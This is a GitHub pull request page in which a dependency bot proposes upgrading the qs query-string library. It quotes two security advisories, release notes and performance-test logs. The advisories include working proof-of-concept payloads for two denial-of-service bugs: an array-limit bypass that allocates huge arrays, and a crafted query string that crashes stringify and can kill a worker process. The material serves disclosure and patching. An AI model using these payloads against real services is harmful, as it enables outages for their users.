Skip to content

chore(deps): update dependency qs@<6.14.1 to >=6.16.1 [security] - #3847

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate-npm-qs-6.14.1-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate-npm-qs-6.14.1-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Mar 1, 2026 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
qs@<6.14.1 >=6.14.1 → >=6.16.1 age confidence

qs array-limit bypass via bracket-key comma parsing

CVE-2026-82562 / GHSA-x5fp-wj9c-mxmx

More information

Details

Summary

qs v6.15.3 allows bracket-key input to bypass arrayLimit and throwOnLimitExceeded when comma: true. The input a[]=1,2,3,4 succeeds with arrayLimit: 3, while the equivalent plain-key input is rejected.

Affected version tested:

qs v6.15.3
commit 18d085e919dae70c8f1b200ab99323058edab2c2
Details

parseArrayValue() enforces the comma limit only for flat values. The a[] form is marked non-flat, so its comma-separated value is wrapped after parsing and the inner array is not checked. A single parameter can therefore materialize arbitrarily large arrays.

PoC
const qs = require('qs')
const options = { comma: true, arrayLimit: 3, throwOnLimitExceeded: true }

const result = qs.parse('a[]=1,2,3,4', options)
console.log(result.a[0].length) // 4; expected RangeError

const big = qs.parse('a[]=' + '1,'.repeat(1000000) + '1', { comma: true, arrayLimit: 20 })
console.log(big.a[0].length) // 1000001

On v6.15.3, the first input parses successfully and the second creates an array with 1,000,001 elements. The equivalent a=1,2,3,4 input throws RangeError as expected.

Impact

An attacker who can supply a query string or form body can bypass configured array limits and force excessive memory allocation, causing denial of service. The limit must be applied after comma splitting and before the resulting array is wrapped.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


qs: Denial of Service via Attacker Controlled isBuffer

CVE-2026-82417 / GHSA-4mjr-xmp4-gh2g

More information

Details

Summary

qs.stringify() calls utils.isBuffer() on every value it serializes, and utils.isBuffer() invokes obj.constructor.isBuffer(obj) without checking that it is callable. A value whose own constructor.isBuffer is a non-function makes qs call a non-callable and throw TypeError. Such a value is produced by qs.parse itself from an untrusted query string when plainObjects: true or allowPrototypes: true is set, so a pure-qs parse → stringify round-trip — no JSON.parse — turns an unauthenticated query string into an uncaught throw.

An attacker-controlled parse input reaches the host application's availability asset — via qs's own recommended plainObjects mitigation — and triggers an uncaught exception during a parse → stringify round-trip.

Details

utils.isBuffer runs at lib/stringify.js:127 for every serialized value:

if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }

utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};

constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or allowPrototypes: true keeps them as own properties, so the parsed value carries a non-function constructor.isBuffer; stringify then calls a non-callable and throws TypeError. By contrast utils.isRegExp uses a brand check (Object.prototype.toString); the missing guard here is an internal inconsistency, not a platform limitation.

Trust Boundary Note

qs.stringify alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by qs.parse, whose input is untrusted by design. qs.parse normally strips a constructor key via its prototype guard, but with the documented options plainObjects: true or allowPrototypes: true the key survives and lands as an own property. Feeding the parsed object back into qs.stringify — the standard round-trip in gateways and request-forwarders — then hits the unchecked call.

PoC

poc02c_isBuffer_qs_only_roundtrip.js — pure-qs chain, no JSON.parse; an untrusted query string alone reaches the throw:

'use strict';
var qs = require('qs');

var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y

var parsed = qs.parse(untrustedQueryString, { plainObjects: true });
console.log('[parse] kept constructor key:', JSON.stringify(parsed));

try {
    qs.stringify(parsed);
    console.log('[stringify] no throw (unexpected)');
} catch (e) {
    console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02_isBuffer.js — the minimal defect:

'use strict';
var qs = require('qs');
try {
    qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}'));
} catch (e) {
    console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02b_isBuffer_async_crash.js — worker death in an async sink:

'use strict';
var qs = require('qs');

function handleRequestAsync(clientJsonBody) {
    try {
        setImmediate(function () {                 // async continuation, outside the try
            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught
        });
        console.log('[handler] returned 200 synchronously; async work scheduled');
    } catch (e) {
        console.log('[handler] caught synchronously (will NOT happen):', e.message);
    }
}
process.on('exit', function (code) {
    console.log('[proc] process exiting with code:', code);
});
handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');
Execution Steps
cd poc
npm install qs@6.15.3
node poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse->stringify -> TypeError
node poc02_isBuffer.js                      # minimal defect -> TypeError inside stringify
node poc02b_isBuffer_async_crash.js         # async sink -> uncaught throw -> exit code 1
Reproduction Evidence

poc02c_isBuffer_qs_only_roundtrip.js :

[parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}}
[stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02_isBuffer.js:

[A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02b_isBuffer_async_crash.js :

[handler] returned 200 synchronously; async work scheduled
[proc] process exiting with code: 1
TypeError: obj.constructor.isBuffer is not a function
    at Object.isBuffer (.../qs/lib/utils.js:332:78)
    at stringify (.../qs/lib/stringify.js:127:45)
=== EXIT CODE: 1 ===

The pure-qs round-trip shows the malicious shape originates from qs.parse of an untrusted query string, with no JSON.parse. The synchronous try/catch in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.

Impact

An unauthenticated request degrades any endpoint that re-serializes deserialized client data with qs.stringify. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on qs.

Recommended Fix

Replace the duck-type with a brand check mirroring utils.isRegExp:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') {
        return Buffer.isBuffer(obj);
    }
    return Object.prototype.toString.call(obj) === '[object Uint8Array]';
};

If duck-typing must remain, require typeof obj.constructor.isBuffer === 'function' before invoking and wrap the call in try/catch.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

ljharb/qs (qs@<6.14.1)

v6.16.1

Compare Source

  • [Fix] parse: do not mutate an object input
  • [Fix] stringify: stop re-encoding structural separator dots when encodeDotInKeys is set (#​564)
  • [Fix] stringify: arrayFormat: 'comma': pass the full encoder arguments with encodeValuesOnly
  • [Fix] utils: encode + as %2B in iso-8859-1 mode so values round-trip (#​565)
  • [Fix] parse: only convert top-level dots to brackets when allowDots is on (#​621)
  • [Fix] stringify: ignore inherited array format names (#​622)
  • [Fix] stringify: arrayFormat: 'comma': do not throw on elements with no callable toString
  • [Fix] utils: merge: seed an overflow container's index from its own keys, not just the source
  • [Fix] utils: merge: keep a strictMerge conflict container's index and arrayLimit correct
  • [Fix] parse: only treat [] as array syntax when it ends the key
  • [Perf] decode: skip decoders when there is no percent sign (#​583)
  • [Robustness] utils: merge: apply arrayLimit to the two-element array built for colliding values
  • [Robustness] parse: bound the nesting added by repeated strictMerge conflicts (credit @​Yeaseen)
  • [Docs] document that qs and flat parsers disagree about parameter names
  • [Docs] clarify that throwOnLimitExceeded limits each array, not the total number of values
  • [Docs] clarify 6.14.1/6.15.2 parse bracket behavior change (#​567, #​568)
  • [meta] fix changelog indents
  • [actions] set least-privilege cache-mode
  • [Tests] utils: decode: add missing cases
  • [Tests] parse: characterize the ]= split when an = precedes any bracket group (#​620)
  • [Tests] parse: allowDots: cover stray close brackets before a dot
  • [Dev Deps] update @ljharb/eslint-config, eslint, tape

v6.16.0

Compare Source

  • [New] stringify: add a depth option to bound recursion depth (default Infinity)
  • [Fix] stringify: serialize Date values when a filter is provided
  • [Fix] parse: enforce arrayLimit on comma groups under []= when throwOnLimitExceeded is set
  • [Fix] parse: flatten a collection appended to an overflowed array (#​571)
  • [Fix] utils: isBuffer: do not invoke a non-callable constructor.isBuffer
  • [Fix] stringify: do not let allowEmptyArrays skip cycle detection (or drop own keys) on an empty array with own properties
  • [Fix] stringify: encode dots in a top-level key with a primitive value when encodeDotInKeys is set (#​562)
  • [Docs] threat model: clarify stringify deep-nesting DoS is caller-bounded
  • [Docs] clarify arrayLimit is a representation threshold, not an element-count cap
  • [Tests] parse: remove a test that pinned []= comma groups escaping arrayLimit
  • [Tests] stringify: pin current encodeDotInKeys separator-dot behavior
  • [Dev Deps] update @ljharb/eslint-config, eslint
  • [Dev Deps] update eslint, evalmd

v6.15.3

Compare Source

  • [Fix] parse: enforce throwOnLimitExceeded for cumulative array growth via combine/merge
  • [Fix] utils: respect encoding of surrogate pairs across chunks (#​559)
  • [Robustness] parse: throw the arrayLimit error before splitting oversized comma values
  • [Robustness] utils.merge / utils.assign: avoid invoking __proto__ setter when copying own properties
  • [Robustness] utils: enforce arrayLimit consistently across merge's array paths
  • [Perf] utils: make compact O(n) via a side-channel visited-set instead of Array.indexOf
  • [Deps] update side-channel
  • [Dev Deps] update eslint, mock-property, tape
  • [Tests] parse: characterize current lenient handling of unbalanced bracket keys (#​558)

v6.15.2

Compare Source

  • [Fix] stringify: skip null/undefined entries in arrayFormat: 'comma' + encodeValuesOnly instead of crashing in encoder
  • [Fix] stringify: use configured delimiter after charsetSentinel (#​555)
  • [Fix] stringify: apply formatter to encoded key under strictNullHandling (#​554)
  • [Fix] stringify: skip null/undefined filter-array entries instead of crashing in encoder (#​551)
  • [Fix] parse: handle nested bracket groups and add regression tests (#​530); changes output for some unbalanced bracket keys (see #​558)
  • [readme] fix grammar (#​550)
  • [Dev Deps] update @ljharb/eslint-config
  • [Tests] add regression tests for keys containing percent-encoded bracket text

v6.15.1

Compare Source

  • [Fix] parse: parameterLimit: Infinity with throwOnLimitExceeded: true silently drops all parameters
  • [Deps] update @ljharb/eslint-config
  • [Dev Deps] update @ljharb/eslint-config, iconv-lite
  • [Tests] increase coverage

v6.15.0

Compare Source

  • [New] parse: add strictMerge option to wrap object/primitive conflicts in an array (#​425, #​122)
  • [Fix] duplicates option should not apply to bracket notation keys (#​514)

v6.14.2

Compare Source

  • [Fix] parse: mark overflow objects for indexed notation exceeding arrayLimit (#​546)
  • [Fix] arrayLimit means max count, not max index, in combine/merge/parseArrayValue
  • [Fix] parse: throw on arrayLimit exceeded with indexed notation when throwOnLimitExceeded is true (#​529)
  • [Fix] parse: enforce arrayLimit on comma-parsed values
  • [Fix] parse: fix error message to reflect arrayLimit as max index; remove extraneous comments (#​545)
  • [Robustness] avoid .push, use void
  • [readme] document that addQueryPrefix does not add ? to empty output (#​418)
  • [readme] clarify parseArrays and arrayLimit documentation (#​543)
  • [readme] replace runkit CI badge with shields.io check-runs badge
  • [meta] fix changelog typo (arrayLength → arrayLimit)
  • [actions] fix rebase workflow permissions

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the dependencies Pull requests that update a dependency label Mar 1, 2026
@netlify

netlify Bot commented Mar 1, 2026 •

Copy link
Copy Markdown

✅ Deploy Preview for brilliant-pasca-3e80ec canceled.

Name Link
🔨 Latest commit c76df89
🔍 Latest deploy log https://app.netlify.com/projects/brilliant-pasca-3e80ec/deploys/6add6b995d3c769a2c4cec21

@github-actions

github-actions Bot commented Mar 1, 2026 •

Copy link
Copy Markdown

🚀 Performance Test Results

Test Configuration:

  • VUs: 4
  • Duration: 1m0s

Test Metrics:

  • Requests/s: 47.88
  • Iterations/s: 15.95
  • Failed Requests: 0.00% (0 of 2881)
📜 Logs

> performance@1.0.0 run-tests:testenv /home/runner/work/rafiki/rafiki/test/performance
> ./scripts/run-tests.sh -e test -k -q --vus 4 --duration 1m

Cloud Nine GraphQL API is up: http://localhost:3101/graphql
Cloud Nine Wallet Address is up: http://localhost:3100/
Happy Life Bank Address is up: http://localhost:4100/
cloud-nine-wallet-test-backend already set
cloud-nine-wallet-test-auth already set
happy-life-bank-test-backend already set
happy-life-bank-test-auth already set
     data_received..................: 1.0 MB 17 kB/s
     data_sent......................: 2.2 MB 37 kB/s
     http_req_blocked...............: avg=10.82µs  min=2µs      med=5.57µs   max=2.3ms    p(90)=7.07µs   p(95)=7.88µs  
     http_req_connecting............: avg=2.55µs   min=0s       med=0s       max=2.22ms   p(90)=0s       p(95)=0s      
     http_req_duration..............: avg=82.72ms  min=8.02ms   med=68.33ms  max=467.05ms p(90)=140.14ms p(95)=160.22ms
       { expected_response:true }...: avg=82.72ms  min=8.02ms   med=68.33ms  max=467.05ms p(90)=140.14ms p(95)=160.22ms
     http_req_failed................: 0.00%  ✓ 0         ✗ 2881
     http_req_receiving.............: avg=109.12µs min=24.08µs  med=91.43µs  max=2.84ms   p(90)=142.18µs p(95)=213.91µs
     http_req_sending...............: avg=45.27µs  min=9.39µs   med=27.91µs  max=5.43ms   p(90)=51.74µs  p(95)=89.92µs 
     http_req_tls_handshaking.......: avg=0s       min=0s       med=0s       max=0s       p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=82.57ms  min=7.85ms   med=68.17ms  max=466.97ms p(90)=140.08ms p(95)=159.83ms
     http_reqs......................: 2881   47.880125/s
     iteration_duration.............: avg=250.21ms min=177.67ms med=240.32ms max=964.9ms  p(90)=302.15ms p(95)=327.44ms
     iterations.....................: 960    15.954502/s
     vus............................: 4      min=4       max=4 
     vus_max........................: 4      min=4       max=4 

@renovate renovate Bot changed the title chore(deps): update dependency qs@&lt;6.14.1 to >=6.15.0 [security] chore(deps): update dependency qs@&lt;6.14.1 to >=6.14.2 [security] Mar 1, 2026
@renovate
renovate Bot force-pushed the renovate-npm-qs-6.14.1-vulnerability branch from cb07b7a to 99b7163 Compare March 1, 2026 21:08
@renovate renovate Bot changed the title chore(deps): update dependency qs@&lt;6.14.1 to >=6.14.2 [security] chore(deps): update dependency qs@&lt;6.14.1 to >=6.15.0 [security] Mar 5, 2026
@renovate
renovate Bot force-pushed the renovate-npm-qs-6.14.1-vulnerability branch 2 times, most recently from e2788d9 to c2f7e09 Compare March 5, 2026 09:57
@renovate renovate Bot changed the title chore(deps): update dependency qs@&lt;6.14.1 to >=6.15.0 [security] chore(deps): update dependency qs@&lt;6.14.1 to >=6.14.2 [security] Mar 5, 2026
@renovate
renovate Bot force-pushed the renovate-npm-qs-6.14.1-vulnerability branch from c2f7e09 to 04b8130 Compare March 5, 2026 17:41
@renovate renovate Bot changed the title chore(deps): update dependency qs@&lt;6.14.1 to >=6.14.2 [security] chore(deps): update dependency qs@&lt;6.14.1 to >=6.15.0 [security] Mar 5, 2026
@renovate renovate Bot changed the title chore(deps): update dependency qs@&lt;6.14.1 to >=6.15.0 [security] chore(deps): update dependency qs@<6.14.1 to >=6.15.1 [security] Apr 15, 2026
@renovate
renovate Bot force-pushed the renovate-npm-qs-6.14.1-vulnerability branch from 04b8130 to 550a1a3 Compare April 15, 2026 22:05
@renovate
renovate Bot force-pushed the renovate-npm-qs-6.14.1-vulnerability branch 2 times, most recently from 9b1d0ec to 9c74e25 Compare May 9, 2026 23:48
@renovate renovate Bot changed the title chore(deps): update dependency qs@<6.14.1 to >=6.15.1 [security] chore(deps): update dependency qs@<6.14.1 to >=6.15.2 [security] Jun 3, 2026
@renovate
renovate Bot force-pushed the renovate-npm-qs-6.14.1-vulnerability branch from 9c74e25 to 9ca9c96 Compare June 3, 2026 14:58
@renovate
renovate Bot force-pushed the renovate-npm-qs-6.14.1-vulnerability branch from 9ca9c96 to ea33f2e Compare October 3, 2026 23:03
@renovate renovate Bot changed the title chore(deps): update dependency qs@<6.14.1 to >=6.15.2 [security] chore(deps): update dependency qs@<6.14.1 to >=6.16.0 [security] Oct 3, 2026
@renovate renovate Bot changed the title chore(deps): update dependency qs@<6.14.1 to >=6.16.0 [security] chore(deps): update dependency qs@<6.14.1 to >=6.16.1 [security] Oct 25, 2026
@renovate
renovate Bot force-pushed the renovate-npm-qs-6.14.1-vulnerability branch from ea33f2e to c76df89 Compare October 25, 2026 02:38

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants